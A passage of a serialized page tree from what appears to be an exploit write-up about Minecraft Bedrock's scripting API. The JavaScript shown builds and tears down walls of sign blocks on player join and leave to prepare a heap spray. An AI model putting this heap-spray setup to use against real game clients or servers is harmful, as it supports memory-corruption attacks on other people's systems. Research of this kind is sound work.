,152422,152426,152431],{"type":23,"tag":504,"props":152402,"children":152403},{"style":5041},[152404],{"type":29,"value":152405},"    sign",{"type":23,"tag":504,"props":152407,"children":152408},{"style":5058},[152409],{"type":29,"value":357},{"type":23,"tag":504,"props":152411,"children":152412},{"style":5041},[152413],{"type":29,"value":152059},{"type":23,"tag":504,"props":152415,"children":152416},{"style":5058},[152417],{"type":29,"value":357},{"type":23,"tag":504,"props":152419,"children":152420},{"style":5139},[152421],{"type":29,"value":152139},{"type":23,"tag":504,"props":152423,"children":152424},{"style":5058},[152425],{"type":29,"value":603},{"type":23,"tag":504,"props":152427,"children":152428},{"style":6297},[152429],{"type":29,"value":152430},"\"\"",{"type":23,"tag":504,"props":152432,"children":152433},{"style":5058},[152434],{"type":29,"value":5888},{"type":23,"tag":504,"props":152436,"children":152437},{"class":5016,"line":5891},[152438,152442,152446,152450,152454,152458],{"type":23,"tag":504,"props":152439,"children":152440},{"style":5041},[152441],{"type":29,"value":152405},{"type":23,"tag":504,"props":152443,"children":152444},{"style":5058},[152445],{"type":29,"value":357},{"type":23,"tag":504,"props":152447,"children":152448},{"style":5041},[152449],{"type":29,"value":152068},{"type":23,"tag":504,"props":152451,"children":152452},{"style":5047},[152453],{"type":29,"value":5050},{"type":23,"tag":504,"props":152455,"children":152456},{"style":5030},[152457],{"type":29,"value":11104},{"type":23,"tag":504,"props":152459,"children":152460},{"style":5058},[152461],{"type":29,"value":5061},{"type":23,"tag":504,"props":152463,"children":152464},{"class":5016,"line":5899},[152465],{"type":23,"tag":504,"props":152466,"children":152467},{"emptyLinePlaceholder":15},[152468],{"type":29,"value":5734},{"type":23,"tag":504,"props":152470,"children":152471},{"class":5016,"line":5959},[152472,152476,152480,152485,152489,152494],{"type":23,"tag":504,"props":152473,"children":152474},{"style":5041},[152475],{"type":29,"value":152405},{"type":23,"tag":504,"props":152477,"children":152478},{"style":5058},[152479],{"type":29,"value":357},{"type":23,"tag":504,"props":152481,"children":152482},{"style":5041},[152483],{"type":29,"value":152484},"block",{"type":23,"tag":504,"props":152486,"children":152487},{"style":5058},[152488],{"type":29,"value":357},{"type":23,"tag":504,"props":152490,"children":152491},{"style":5139},[152492],{"type":29,"value":152493},"setPermutation",{"type":23,"tag":504,"props":152495,"children":152496},{"style":5058},[152497],{"type":29,"value":5512},{"type":23,"tag":504,"props":152499,"children":152500},{"class":5016,"line":11093},[152501,152506,152510,152515,152519,152524],{"type":23,"tag":504,"props":152502,"children":152503},{"style":5041},[152504],{"type":29,"value":152505},"        BlockPermutation",{"type":23,"tag":504,"props":152507,"children":152508},{"style":5058},[152509],{"type":29,"value":357},{"type":23,"tag":504,"props":152511,"children":152512},{"style":5139},[152513],{"type":29,"value":152514},"resolve",{"type":23,"tag":504,"props":152516,"children":152517},{"style":5058},[152518],{"type":29,"value":603},{"type":23,"tag":504,"props":152520,"children":152521},{"style":6297},[152522],{"type":29,"value":152523},"\"minecraft:air\"",{"type":23,"tag":504,"props":152525,"children":152526},{"style":5058},[152527],{"type":29,"value":5200},{"type":23,"tag":504,"props":152529,"children":152530},{"class":5016,"line":11111},[152531],{"type":23,"tag":504,"props":152532,"children":152533},{"style":5058},[152534],{"type":29,"value":45716},{"type":23,"tag":504,"props":152536,"children":152537},{"class":5016,"line":11156},[152538,152542,152546,152550,152554,152558],{"type":23,"tag":504,"props":152539,"children":152540},{"style":5041},[152541],{"type":29,"value":152405},{"type":23,"tag":504,"props":152543,"children":152544},{"style":5058},[152545],{"type":29,"value":357},{"type":23,"tag":504,"props":152547,"children":152548},{"style":5041},[152549],{"type":29,"value":134744},{"type":23,"tag":504,"props":152551,"children":152552},{"style":5047},[152553],{"type":29,"value":5050},{"type":23,"tag":504,"props":152555,"children":152556},{"style":5030},[152557],{"type":29,"value":14515},{"type":23,"tag":504,"props":152559,"children":152560},{"style":5058},[152561],{"type":29,"value":5061},{"type":23,"tag":504,"props":152563,"children":152564},{"class":5016,"line":11262},[152565],{"type":23,"tag":504,"props":152566,"children":152567},{"style":5058},[152568],{"type":29,"value":5965},{"type":23,"tag":32,"props":152570,"children":152571},{},[152572,152574,152580],{"type":29,"value":152573},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":154,"props":152575,"children":152577},{"className":152576},[],[152578],{"type":29,"value":152579},"signs",{"type":29,"value":152581}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":4743,"props":152583,"children":152585},{"code":152584,"language":37672,"meta":7,"className":37670,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[152586],{"type":23,"tag":154,"props":152587,"children":152588},{"__ignoreMap":7},[152589,152604,152611,152627,152644,152651,152713,152775,152782,152798,152806,152828,152854,152879,152899,152928,152940,152947,152955,152977,153011,153018,153038,153054,153070,153086,153098,153106,153113,153120,153127,153134,153150,153165,153172,153231,153290,153297,153312,153320,153348,153376,153384,153391,153410,153437,153444,153451,153466,153473,153480,153487,153494,153550,153562,153569,153576,153637,153649],{"type":23,"tag":504,"props":152590,"children":152591},{"class":5016,"line":5017},[152592,152596,152600],{"type":23,"tag":504,"props":152593,"children":152594},{"style":5030},[152595],{"type":29,"value":13833},{"type":23,"tag":504,"props":152597,"children":152598},{"style":5041},[152599],{"type":29,"value":152039},{"type":23,"tag":504,"props":152601,"children":152602},{"style":5058},[152603],{"type":29,"value":5061},{"type":23,"tag":504,"props":152605,"children":152606},{"class":5016,"line":4868},[152607],{"type":23,"tag":504,"props":152608,"children":152609},{"emptyLinePlaceholder":15},[152610],{"type":29,"value":5734},{"type":23,"tag":504,"props":152612,"children":152613},{"class":5016,"line":4876},[152614,152618,152623],{"type":23,"tag":504,"props":152615,"children":152616},{"style":5030},[152617],{"type":29,"value":33432},{"type":23,"tag":504,"props":152619,"children":152620},{"style":5139},[152621],{"type":29,"value":152622}," create_wall",{"type":23,"tag":504,"props":152624,"children":152625},{"style":5058},[152626],{"type":29,"value":17783},{"type":23,"tag":504,"props":152628,"children":152629},{"class":5016,"line":5099},[152630,152635,152639],{"type":23,"tag":504,"props":152631,"children":152632},{"style":5041},[152633],{"type":29,"value":152634},"    signs",{"type":23,"tag":504,"props":152636,"children":152637},{"style":5047},[152638],{"type":29,"value":5050},{"type":23,"tag":504,"props":152640,"children":152641},{"style":5058},[152642],{"type":29,"value":152643}," [];\n",{"type":23,"tag":504,"props":152645,"children":152646},{"class":5016,"line":5203},[152647],{"type":23,"tag":504,"props":152648,"children":152649},{"emptyLinePlaceholder":15},[152650],{"type":29,"value":5734},{"type":23,"tag":504,"props":152652,"children":152653},{"class":5016,"line":5308},[152654,152658,152662,152666,152671,152675,152679,152683,152688,152692,152697,152701,152705,152709],{"type":23,"tag":504,"props":152655,"children":152656},{"style":5067},[152657],{"type":29,"value":5070},{"type":23,"tag":504,"props":152659,"children":152660},{"style":5058},[152661],{"type":29,"value":5110},{"type":23,"tag":504,"props":152663,"children":152664},{"style":5030},[152665],{"type":29,"value":13833},{"type":23,"tag":504,"props":152667,"children":152668},{"style":5041},[152669],{"type":29,"value":152670}," current_y",{"type":23,"tag":504,"props":152672,"children":152673},{"style":5047},[152674],{"type":29,"value":5050},{"type":23,"tag":504,"props":152676,"children":152677},{"style":5083},[152678],{"type":29,"value":5086},{"type":23,"tag":504,"props":152680,"children":152681},{"style":5058},[152682],{"type":29,"value":19275},{"type":23,"tag":504,"props":152684,"children":152685},{"style":5041},[152686],{"type":29,"value":152687},"current_y",{"type":23,"tag":504,"props":152689,"children":152690},{"style":5047},[152691],{"type":29,"value":10764},{"type":23,"tag":504,"props":152693,"children":152694},{"style":5041},[152695],{"type":29,"value":152696}," WALL_HEIGHT",{"type":23,"tag":504,"props":152698,"children":152699},{"style":5058},[152700],{"type":29,"value":19275},{"type":23,"tag":504,"props":152702,"children":152703},{"style":5041},[152704],{"type":29,"value":152687},{"type":23,"tag":504,"props":152706,"children":152707},{"style":5047},[152708],{"type":29,"value":53331},{"type":23,"tag":504,"props":152710,"children":152711},{"style":5058},[152712],{"type":29,"value":16850},{"type":23,"tag":504,"props":152714,"children":152715},{"class":5016,"line":5336},[152716,152720,152724,152728,152733,152737,152741,152745,152750,152754,152759,152763,152767,152771],{"type":23,"tag":504,"props":152717,"children":152718},{"style":5067},[152719],{"type":29,"value":62638},{"type":23,"tag":504,"props":152721,"children":152722},{"style":5058},[152723],{"type":29,"value":5110},{"type":23,"tag":504,"props":152725,"children":152726},{"style":5030},[152727],{"type":29,"value":13833},{"type":23,"tag":504,"props":152729,"children":152730},{"style":5041},[152731],{"type":29,"value":152732}," current_x",{"type":23,"tag":504,"props":152734,"children":152735},{"style":5047},[152736],{"type":29,"value":5050},{"type":23,"tag":504,"props":152738,"children":152739},{"style":5083},[152740],{"type":29,"value":5086},{"type":23,"tag":504,"props":152742,"children":152743},{"style":5058},[152744],{"type":29,"value":19275},{"type":23,"tag":504,"props":152746,"children":152747},{"style":5041},[152748],{"type":29,"value":152749},"current_x",{"type":23,"tag":504,"props":152751,"children":152752},{"style":5047},[152753],{"type":29,"value":10764},{"type":23,"tag":504,"props":152755,"children":152756},{"style":5041},[152757],{"type":29,"value":152758}," WALL_WIDTH",{"type":23,"tag":504,"props":152760,"children":152761},{"style":5058},[152762],{"type":29,"value":19275},{"type":23,"tag":504,"props":152764,"children":152765},{"style":5041},[152766],{"type":29,"value":152749},{"type":23,"tag":504,"props":152768,"children":152769},{"style":5047},[152770],{"type":29,"value":53331},{"type":23,"tag":504,"props":152772,"children":152773},{"style":5058},[152774],{"type":29,"value":16850},{"type":23,"tag":504,"props":152776,"children":152777},{"class":5016,"line":5349},[152778],{"type":23,"tag":504,"props":152779,"children":152780},{"emptyLinePlaceholder":15},[152781],{"type":29,"value":5734},{"type":23,"tag":504,"props":152783,"children":152784},{"class":5016,"line":5367},[152785,152790,152794],{"type":23,"tag":504,"props":152786,"children":152787},{"style":5058},[152788],{"type":29,"value":152789},"            [",{"type":23,"tag":504,"props":152791,"children":152792},{"style":5047},[152793],{"type":29,"value":853},{"type":23,"tag":504,"props":152795,"children":152796},{"style":5058},[152797],{"type":29,"value":13818},{"type":23,"tag":504,"props":152799,"children":152800},{"class":5016,"line":5388},[152801],{"type":23,"tag":504,"props":152802,"children":152803},{"style":5058},[152804],{"type":29,"value":152805},"            \n",{"type":23,"tag":504,"props":152807,"children":152808},{"class":5016,"line":5397},[152809,152814,152819,152823],{"type":23,"tag":504,"props":152810,"children":152811},{"style":5030},[152812],{"type":29,"value":152813},"            const",{"type":23,"tag":504,"props":152815,"children":152816},{"style":5041},[152817],{"type":29,"value":152818}," sign_block",{"type":23,"tag":504,"props":152820,"children":152821},{"style":5047},[152822],{"type":29,"value":5050},{"type":23,"tag":504,"props":152824,"children":152825},{"style":5041},[152826],{"type":29,"value":152827}," world\n",{"type":23,"tag":504,"props":152829,"children":152830},{"class":5016,"line":5649},[152831,152836,152841,152845,152850],{"type":23,"tag":504,"props":152832,"children":152833},{"style":5058},[152834],{"type":29,"value":152835},"                .",{"type":23,"tag":504,"props":152837,"children":152838},{"style":5139},[152839],{"type":29,"value":152840},"getDimension",{"type":23,"tag":504,"props":152842,"children":152843},{"style":5058},[152844],{"type":29,"value":603},{"type":23,"tag":504,"props":152846,"children":152847},{"style":6297},[152848],{"type":29,"value":152849},"\"overworld\"",{"type":23,"tag":504,"props":152851,"children":152852},{"style":5058},[152853],{"type":29,"value":5200},{"type":23,"tag":504,"props":152855,"children":152856},{"class":5016,"line":5666},[152857,152861,152866,152870,152875],{"type":23,"tag":504,"props":152858,"children":152859},{"style":5058},[152860],{"type":29,"value":152835},{"type":23,"tag":504,"props":152862,"children":152863},{"style":5139},[152864],{"type":29,"value":152865},"getBlock",{"type":23,"tag":504,"props":152867,"children":152868},{"style":5058},[152869],{"type":29,"value":603},{"type":23,"tag":504,"props":152871,"children":152872},{"style":5041},[152873],{"type":29,"value":152874},"sign_location",{"type":23,"tag":504,"props":152876,"children":152877},{"style":5058},[152878],{"type":29,"value":5888},{"type":23,"tag":504,"props":152880,"children":152881},{"class":5016,"line":5683},[152882,152887,152891,152895],{"type":23,"tag":504,"props":152883,"children":152884},{"style":5041},[152885],{"type":29,"value":152886},"            sign_block",{"type":23,"tag":504,"props":152888,"children":152889},{"style":5058},[152890],{"type":29,"value":357},{"type":23,"tag":504,"props":152892,"children":152893},{"style":5139},[152894],{"type":29,"value":152493},{"type":23,"tag":504,"props":152896,"children":152897},{"style":5058},[152898],{"type":29,"value":5512},{"type":23,"tag":504,"props":152900,"children":152901},{"class":5016,"line":5696},[152902,152907,152911,152915,152919,152924],{"type":23,"tag":504,"props":152903,"children":152904},{"style":5041},[152905],{"type":29,"value":152906},"                BlockPermutation",{"type":23,"tag":504,"props":152908,"children":152909},{"style":5058},[152910],{"type":29,"value":357},{"type":23,"tag":504,"props":152912,"children":152913},{"style":5139},[152914],{"type":29,"value":152514},{"type":23,"tag":504,"props":152916,"children":152917},{"style":5058},[152918],{"type":29,"value":603},{"type":23,"tag":504,"props":152920,"children":152921},{"style":6297},[152922],{"type":29,"value":152923},"\"minecraft:wall_sign\"",{"type":23,"tag":504,"props":152925,"children":152926},{"style":5058},[152927],{"type":29,"value":50945},{"type":23,"tag":504,"props":152929,"children":152930},{"class":5016,"line":5705},[152931,152936],{"type":23,"tag":504,"props":152932,"children":152933},{"style":5041},[152934],{"type":29,"value":152935},"                    facing_direction:",{"type":23,"tag":504,"props":152937,"children":152938},{"style":5083},[152939],{"type":29,"value":21378},{"type":23,"tag":504,"props":152941,"children":152942},{"class":5016,"line":5728},[152943],{"type":23,"tag":504,"props":152944,"children":152945},{"style":5058},[152946],{"type":29,"value":73134},{"type":23,"tag":504,"props":152948,"children":152949},{"class":5016,"line":5737},[152950],{"type":23,"tag":504,"props":152951,"children":152952},{"style":5058},[152953],{"type":29,"value":152954},"            ));\n",{"type":23,"tag":504,"props":152956,"children":152957},{"class":5016,"line":5746},[152958,152963,152968,152972],{"type":23,"tag":504,"props":152959,"children":152960},{"style":5030},[152961],{"type":29,"value":152962},"            let",{"type":23,"tag":504,"props":152964,"children":152965},{"style":5041},[152966],{"type":29,"value":152967}," sign_component",{"type":23,"tag":504,"props":152969,"children":152970},{"style":5047},[152971],{"type":29,"value":5050},{"type":23,"tag":504,"props":152973,"children":152974},{"style":5041},[152975],{"type":29,"value":152976}," sign_block\n",{"type":23,"tag":504,"props":152978,"children":152979},{"class":5016,"line":5813},[152980,152984,152989,152993,152998,153002,153007],{"type":23,"tag":504,"props":152981,"children":152982},{"style":5058},[152983],{"type":29,"value":152835},{"type":23,"tag":504,"props":152985,"children":152986},{"style":5139},[152987],{"type":29,"value":152988},"getComponent",{"type":23,"tag":504,"props":152990,"children":152991},{"style":5058},[152992],{"type":29,"value":603},{"type":23,"tag":504,"props":152994,"children":152995},{"style":5041},[152996],{"type":29,"value":152997},"BlockComponentTypes",{"type":23,"tag":504,"props":152999,"children":153000},{"style":5058},[153001],{"type":29,"value":357},{"type":23,"tag":504,"props":153003,"children":153004},{"style":5041},[153005],{"type":29,"value":153006},"Sign",{"type":23,"tag":504,"props":153008,"children":153009},{"style":5058},[153010],{"type":29,"value":5888},{"type":23,"tag":504,"props":153012,"children":153013},{"class":5016,"line":5821},[153014],{"type":23,"tag":504,"props":153015,"children":153016},{"emptyLinePlaceholder":15},[153017],{"type":29,"value":5734},{"type":23,"tag":504,"props":153019,"children":153020},{"class":5016,"line":5851},[153021,153026,153030,153034],{"type":23,"tag":504,"props":153022,"children":153023},{"style":5041},[153024],{"type":29,"value":153025},"            signs",{"type":23,"tag":504,"props":153027,"children":153028},{"style":5058},[153029],{"type":29,"value":357},{"type":23,"tag":504,"props":153031,"children":153032},{"style":5139},[153033],{"type":29,"value":5874},{"type":23,"tag":504,"props":153035,"children":153036},{"style":5058},[153037],{"type":29,"value":17187},{"type":23,"tag":504,"props":153039,"children":153040},{"class":5016,"line":5859},[153041,153046,153050],{"type":23,"tag":504,"props":153042,"children":153043},{"style":5041},[153044],{"type":29,"value":153045},"                sign:",{"type":23,"tag":504,"props":153047,"children":153048},{"style":5041},[153049],{"type":29,"value":152967},{"type":23,"tag":504,"props":153051,"children":153052},{"style":5058},[153053],{"type":29,"value":5557},{"type":23,"tag":504,"props":153055,"children":153056},{"class":5016,"line":5891},[153057,153062,153066],{"type":23,"tag":504,"props":153058,"children":153059},{"style":5041},[153060],{"type":29,"value":153061},"                allocated:",{"type":23,"tag":504,"props":153063,"children":153064},{"style":5030},[153065],{"type":29,"value":11104},{"type":23,"tag":504,"props":153067,"children":153068},{"style":5058},[153069],{"type":29,"value":5557},{"type":23,"tag":504,"props":153071,"children":153072},{"class":5016,"line":5899},[153073,153078,153082],{"type":23,"tag":504,"props":153074,"children":153075},{"style":5041},[153076],{"type":29,"value":153077},"                block:",{"type":23,"tag":504,"props":153079,"children":153080},{"style":5041},[153081],{"type":29,"value":152818},{"type":23,"tag":504,"props":153083,"children":153084},{"style":5058},[153085],{"type":29,"value":5557},{"type":23,"tag":504,"props":153087,"children":153088},{"class":5016,"line":5959},[153089,153094],{"type":23,"tag":504,"props":153090,"children":153091},{"style":5041},[153092],{"type":29,"value":153093},"                removed:",{"type":23,"tag":504,"props":153095,"children":153096},{"style":5030},[153097],{"type":29,"value":14357},{"type":23,"tag":504,"props":153099,"children":153100},{"class":5016,"line":11093},[153101],{"type":23,"tag":504,"props":153102,"children":153103},{"style":5058},[153104],{"type":29,"value":153105},"            });\n",{"type":23,"tag":504,"props":153107,"children":153108},{"class":5016,"line":11111},[153109],{"type":23,"tag":504,"props":153110,"children":153111},{"style":5058},[153112],{"type":29,"value":5394},{"type":23,"tag":504,"props":153114,"children":153115},{"class":5016,"line":11156},[153116],{"type":23,"tag":504,"props":153117,"children":153118},{"style":5058},[153119],{"type":29,"value":5403},{"type":23,"tag":504,"props":153121,"children":153122},{"class":5016,"line":11262},[153123],{"type":23,"tag":504,"props":153124,"children":153125},{"style":5058},[153126],{"type":29,"value":5965},{"type":23,"tag":504,"props":153128,"children":153129},{"class":5016,"line":25550},[153130],{"type":23,"tag":504,"props":153131,"children":153132},{"emptyLinePlaceholder":15},[153133],{"type":29,"value":5734},{"type":23,"tag":504,"props":153135,"children":153136},{"class":5016,"line":25585},[153137,153141,153146],{"type":23,"tag":504,"props":153138,"children":153139},{"style":5030},[153140],{"type":29,"value":33432},{"type":23,"tag":504,"props":153142,"children":153143},{"style":5139},[153144],{"type":29,"value":153145}," remove_wall",{"type":23,"tag":504,"props":153147,"children":153148},{"style":5058},[153149],{"type":29,"value":17783},{"type":23,"tag":504,"props":153151,"children":153152},{"class":5016,"line":25593},[153153,153157,153161],{"type":23,"tag":504,"props":153154,"children":153155},{"style":5041},[153156],{"type":29,"value":152634},{"type":23,"tag":504,"props":153158,"children":153159},{"style":5047},[153160],{"type":29,"value":5050},{"type":23,"tag":504,"props":153162,"children":153163},{"style":5058},[153164],{"type":29,"value":152643},{"type":23,"tag":504,"props":153166,"children":153167},{"class":5016,"line":25601},[153168],{"type":23,"tag":504,"props":153169,"children":153170},{"style":5058},[153171],{"type":29,"value":63848},{"type":23,"tag":504,"props":153173,"children":153174},{"class":5016,"line":25610},[153175,153179,153183,153187,153191,153195,153199,153203,153207,153211,153215,153219,153223,153227],{"type":23,"tag":504,"props":153176,"children":153177},{"style":5067},[153178],{"type":29,"value":5070},{"type":23,"tag":504,"props":153180,"children":153181},{"style":5058},[153182],{"type":29,"value":5110},{"type":23,"tag":504,"props":153184,"children":153185},{"style":5030},[153186],{"type":29,"value":13833},{"type":23,"tag":504,"props":153188,"children":153189},{"style":5041},[153190],{"type":29,"value":152670},{"type":23,"tag":504,"props":153192,"children":153193},{"style":5047},[153194],{"type":29,"value":5050},{"type":23,"tag":504,"props":153196,"children":153197},{"style":5083},[153198],{"type":29,"value":5086},{"type":23,"tag":504,"props":153200,"children":153201},{"style":5058},[153202],{"type":29,"value":19275},{"type":23,"tag":504,"props":153204,"children":153205},{"style":5041},[153206],{"type":29,"value":152687},{"type":23,"tag":504,"props":153208,"children":153209},{"style":5047},[153210],{"type":29,"value":10764},{"type":23,"tag":504,"props":153212,"children":153213},{"style":5041},[153214],{"type":29,"value":152696},{"type":23,"tag":504,"props":153216,"children":153217},{"style":5058},[153218],{"type":29,"value":19275},{"type":23,"tag":504,"props":153220,"children":153221},{"style":5041},[153222],{"type":29,"value":152687},{"type":23,"tag":504,"props":153224,"children":153225},{"style":5047},[153226],{"type":29,"value":53331},{"type":23,"tag":504,"props":153228,"children":153229},{"style":5058},[153230],{"type":29,"value":16850},{"type":23,"tag":504,"props":153232,"children":153233},{"class":5016,"line":25652},[153234,153238,153242,153246,153250,153254,153258,153262,153266,153270,153274,153278,153282,153286],{"type":23,"tag":504,"props":153235,"children":153236},{"style":5067},[153237],{"type":29,"value":62638},{"type":23,"tag":504,"props":153239,"children":153240},{"style":5058},[153241],{"type":29,"value":5110},{"type":23,"tag":504,"props":153243,"children":153244},{"style":5030},[153245],{"type":29,"value":13833},{"type":23,"tag":504,"props":153247,"children":153248},{"style":5041},[153249],{"type":29,"value":152732},{"type":23,"tag":504,"props":153251,"children":153252},{"style":5047},[153253],{"type":29,"value":5050},{"type":23,"tag":504,"props":153255,"children":153256},{"style":5083},[153257],{"type":29,"value":5086},{"type":23,"tag":504,"props":153259,"children":153260},{"style":5058},[153261],{"type":29,"value":19275},{"type":23,"tag":504,"props":153263,"children":153264},{"style":5041},[153265],{"type":29,"value":152749},{"type":23,"tag":504,"props":153267,"children":153268},{"style":5047},[153269],{"type":29,"value":10764},{"type":23,"tag":504,"props":153271,"children":153272},{"style":5041},[153273],{"type":29,"value":152758},{"type":23,"tag":504,"props":153275,"children":153276},{"style":5058},[153277],{"type":29,"value":19275},{"type":23,"tag":504,"props":153279,"children":153280},{"style":5041},[153281],{"type":29,"value":152749},{"type":23,"tag":504,"props":153283,"children":153284},{"style":5047},[153285],{"type":29,"value":53331},{"type":23,"tag":504,"props":153287,"children":153288},{"style":5058},[153289],{"type":29,"value":16850},{"type":23,"tag":504,"props":153291,"children":153292},{"class":5016,"line":25685},[153293],{"type":23,"tag":504,"props":153294,"children":153295},{"style":5058},[153296],{"type":29,"value":152805},{"type":23,"tag":504,"props":153298,"children":153299},{"class":5016,"line":25693},[153300,153304,153308],{"type":23,"tag":504,"props":153301,"children":153302},{"style":5058},[153303],{"type":29,"value":152789},{"type":23,"tag":504,"props":153305,"children":153306},{"style":5047},[153307],{"type":29,"value":853},{"type":23,"tag":504,"props":153309,"children":153310},{"style":5058},[153311],{"type":29,"value":13818},{"type":23,"tag":504,"props":153313,"children":153314},{"class":5016,"line":25701},[153315],{"type":23,"tag":504,"props":153316,"children":153317},{"style":5058},[153318],{"type":29,"value":153319},"             \n",{"type":23,"tag":504,"props":153321,"children":153322},{"class":5016,"line":25710},[153323,153327,153331,153335,153339,153344],{"type":23,"tag":504,"props":153324,"children":153325},{"style":5030},[153326],{"type":29,"value":152813},{"type":23,"tag":504,"props":153328,"children":153329},{"style":5041},[153330],{"type":29,"value":152818},{"type":23,"tag":504,"props":153332,"children":153333},{"style":5047},[153334],{"type":29,"value":5050},{"type":23,"tag":504,"props":153336,"children":153337},{"style":5067},[153338],{"type":29,"value":38268},{"type":23,"tag":504,"props":153340,"children":153341},{"style":5139},[153342],{"type":29,"value":153343}," wait_for_block",{"type":23,"tag":504,"props":153345,"children":153346},{"style":5058},[153347],{"type":29,"value":5512},{"type":23,"tag":504,"props":153349,"children":153350},{"class":5016,"line":25786},[153351,153356,153360,153364,153368,153372],{"type":23,"tag":504,"props":153352,"children":153353},{"style":5041},[153354],{"type":29,"value":153355},"                world",{"type":23,"tag":504,"props":153357,"children":153358},{"style":5058},[153359],{"type":29,"value":357},{"type":23,"tag":504,"props":153361,"children":153362},{"style":5139},[153363],{"type":29,"value":152840},{"type":23,"tag":504,"props":153365,"children":153366},{"style":5058},[153367],{"type":29,"value":603},{"type":23,"tag":504,"props":153369,"children":153370},{"style":6297},[153371],{"type":29,"value":152849},{"type":23,"tag":504,"props":153373,"children":153374},{"style":5058},[153375],{"type":29,"value":8780},{"type":23,"tag":504,"props":153377,"children":153378},{"class":5016,"line":25819},[153379],{"type":23,"tag":504,"props":153380,"children":153381},{"style":5041},[153382],{"type":29,"value":153383},"                sign_location\n",{"type":23,"tag":504,"props":153385,"children":153386},{"class":5016,"line":25827},[153387],{"type":23,"tag":504,"props":153388,"children":153389},{"style":5058},[153390],{"type":29,"value":126893},{"type":23,"tag":504,"props":153392,"children":153393},{"class":5016,"line":25835},[153394,153398,153402,153406],{"type":23,"tag":504,"props":153395,"children":153396},{"style":5041},[153397],{"type":29,"value":152886},{"type":23,"tag":504,"props":153399,"children":153400},{"style":5058},[153401],{"type":29,"value":357},{"type":23,"tag":504,"props":153403,"children":153404},{"style":5139},[153405],{"type":29,"value":152493},{"type":23,"tag":504,"props":153407,"children":153408},{"style":5058},[153409],{"type":29,"value":5512},{"type":23,"tag":504,"props":153411,"children":153412},{"class":5016,"line":25872},[153413,153417,153421,153425,153429,153433],{"type":23,"tag":504,"props":153414,"children":153415},{"style":5041},[153416],{"type":29,"value":152906},{"type":23,"tag":504,"props":153418,"children":153419},{"style":5058},[153420],{"type":29,"value":357},{"type":23,"tag":504,"props":153422,"children":153423},{"style":5139},[153424],{"type":29,"value":152514},{"type":23,"tag":504,"props":153426,"children":153427},{"style":5058},[153428],{"type":29,"value":603},{"type":23,"tag":504,"props":153430,"children":153431},{"style":6297},[153432],{"type":29,"value":152523},{"type":23,"tag":504,"props":153434,"children":153435},{"style":5058},[153436],{"type":29,"value":5200},{"type":23,"tag":504,"props":153438,"children":153439},{"class":5016,"line":25885},[153440],{"type":23,"tag":504,"props":153441,"children":153442},{"style":5058},[153443],{"type":29,"value":126893},{"type":23,"tag":504,"props":153445,"children":153446},{"class":5016,"line":25898},[153447],{"type":23,"tag":504,"props":153448,"children":153449},{"emptyLinePlaceholder":15},[153450],{"type":29,"value":5734},{"type":23,"tag":504,"props":153452,"children":153453},{"class":5016,"line":25911},[153454,153458,153462],{"type":23,"tag":504,"props":153455,"children":153456},{"style":5058},[153457],{"type":29,"value":152789},{"type":23,"tag":504,"props":153459,"children":153460},{"style":5047},[153461],{"type":29,"value":853},{"type":23,"tag":504,"props":153463,"children":153464},{"style":5058},[153465],{"type":29,"value":13818},{"type":23,"tag":504,"props":153467,"children":153468},{"class":5016,"line":25965},[153469],{"type":23,"tag":504,"props":153470,"children":153471},{"style":5058},[153472],{"type":29,"value":5394},{"type":23,"tag":504,"props":153474,"children":153475},{"class":5016,"line":25974},[153476],{"type":23,"tag":504,"props":153477,"children":153478},{"style":5058},[153479],{"type":29,"value":5403},{"type":23,"tag":504,"props":153481,"children":153482},{"class":5016,"line":34336},[153483],{"type":23,"tag":504,"props":153484,"children":153485},{"style":5058},[153486],{"type":29,"value":5965},{"type":23,"tag":504,"props":153488,"children":153489},{"class":5016,"line":34357},[153490],{"type":23,"tag":504,"props":153491,"children":153492},{"emptyLinePlaceholder":15},[153493],{"type":29,"value":5734},{"type":23,"tag":504,"props":153495,"children":153496},{"class":5016,"line":83015},[153497,153502,153506,153511,153515,153520,153524,153529,153533,153538,153542,153546],{"type":23,"tag":504,"props":153498,"children":153499},{"style":5041},[153500],{"type":29,"value":153501},"world",{"type":23,"tag":504,"props":153503,"children":153504},{"style":5058},[153505],{"type":29,"value":357},{"type":23,"tag":504,"props":153507,"children":153508},{"style":5041},[153509],{"type":29,"value":153510},"afterEvents",{"type":23,"tag":504,"props":153512,"children":153513},{"style":5058},[153514],{"type":29,"value":357},{"type":23,"tag":504,"props":153516,"children":153517},{"style":5041},[153518],{"type":29,"value":153519},"playerSpawn",{"type":23,"tag":504,"props":153521,"children":153522},{"style":5058},[153523],{"type":29,"value":357},{"type":23,"tag":504,"props":153525,"children":153526},{"style":5139},[153527],{"type":29,"value":153528},"subscribe",{"type":23,"tag":504,"props":153530,"children":153531},{"style":5058},[153532],{"type":29,"value":33578},{"type":23,"tag":504,"props":153534,"children":153535},{"style":5041},[153536],{"type":29,"value":153537},"arg",{"type":23,"tag":504,"props":153539,"children":153540},{"style":5058},[153541],{"type":29,"value":5128},{"type":23,"tag":504,"props":153543,"children":153544},{"style":5030},[153545],{"type":29,"value":16868},{"type":23,"tag":504,"props":153547,"children":153548},{"style":5058},[153549],{"type":29,"value":5333},{"type":23,"tag":504,"props":153551,"children":153552},{"class":5016,"line":83028},[153553,153558],{"type":23,"tag":504,"props":153554,"children":153555},{"style":5139},